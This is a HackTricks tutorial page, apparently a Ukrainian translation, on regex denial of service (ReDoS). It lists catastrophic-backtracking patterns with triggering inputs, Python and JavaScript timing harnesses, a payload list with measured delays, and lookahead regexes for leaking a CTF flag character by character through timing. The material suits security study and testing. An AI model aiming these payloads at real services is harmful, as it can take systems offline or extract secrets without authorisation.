Regular expression Denial of Service - ReDoS

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Regular Expression Denial of Service (ReDoS)

Вразливість типу Regular Expression Denial of Service (ReDoS) виникає, коли хтось використовує слабкі місця в тому, як працюють regular expressions (метод пошуку та співпадіння шаблонів у тексті). Іноді використання regular expressions може призводити до дуже повільної роботи, особливо якщо оброблюваний текст збільшується. Затримка може зростати настільки швидко, що навіть невеликі збільшення розміру тексту призводять до значного погіршення продуктивності. Атакуючі можуть використати це, щоб змусити програму, яка використовує regular expressions, довго не реагувати.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • Більшість популярних рушіїв (PCRE, Java java.util.regex, Python re, JavaScript RegExp) використовують VM з backtracking. Спеціально сформовані входи, які створюють багато перекриваючихся способів відповідності підшаблону, примушують виконувати експоненційний або високополіноміальний backtracking.
  • Деякі рушії/бібліотеки за конструкцією є ReDoS-resilient (без backtracking), наприклад RE2 та порти на базі finite automata, що забезпечують лінійну складність у найгіршому випадку; використання їх для ненадійного вводу усуває примітив DoS через backtracking. Деталі — у посиланнях наприкінці.

Evil Regexes

Evil regular expression pattern — це шаблон, який може зависати на спеціально підготовленому вході, спричиняючи DoS. Evil regex patterns зазвичай містять grouping з repetition або repetition/alternation з перекриттям усередині повторюваної групи. Декілька прикладів evil patterns:

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Усі вони вразливі до входу aaaaaaaaaaaaaaaaaaaaaaaa!.

Practical recipe to build PoCs

Більшість катастрофічних випадків мають такий вигляд:

  • Префікс, що заводить у вразливий subpattern (необов'язково).
  • Довга серія символів, що створює неоднозначні співпадіння всередині вкладених/перекриваючихся quantifiers (наприклад багато a, _ або пробілів).
  • Останній символ, що примушує загальний збій, через що двигун має перебрати всі варіанти backtrack’ом (часто символ, що не відповідає останньому токену, наприклад !).

Мінімальні приклади:

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Збільшуйте N та спостерігайте суперлінійне зростання.

Quick timing harness (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

У CTF (або bug bounty) можливо ви контролюєте Regex, яким перевіряють конфіденційну інформацію (the flag). Тоді може бути корисно змусити сторінку зависнути (timeout or longer processing time) якщо Regex matched і not if it didn't. Таким чином ви зможете exfiltrate рядок char by char:

  • У this post ви можете знайти це правило ReDoS: ^(?=<flag>)((.*)*)*salt$
  • Приклад: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • У this writeup ви можете знайти ось це:<flag>(((((((.*)*)*)*)*)*)*)!
  • У this writeup він використав: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Controlling Input and Regex

Нижче наведені приклади ReDoS, де ви контролюєте як input, так і regex:

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Примітки щодо мов/движків для атакуючих

  • JavaScript (browser/Node): Вбудований RegExp є backtracking‑движком і часто експлуатується, коли regex+input контролюються атакуючим.
  • Python: re використовує backtracking. Довгі неоднозначні послідовності разом з неуспішною кінцівкою часто призводять до catastrophic backtracking.
  • Java: java.util.regex використовує backtracking. Якщо ви контролюєте лише input, шукайте ендпоїнти з комплексними валідаторами; якщо ви контролюєте патерни (наприклад, збережені правила), ReDoS зазвичай тривіальний.
  • Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. Якщо ви натрапите на них, зосередьтеся на інших вузьких місцях (наприклад, величезних патернах) або знайдіть компоненти, які все ще використовують backtracking‑движки.

Інструменти

Порада: When you only control input, generate strings with doubling lengths (e.g., 2^k characters) and track latency. Експоненційне зростання сильно вказує на можливий ReDoS.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks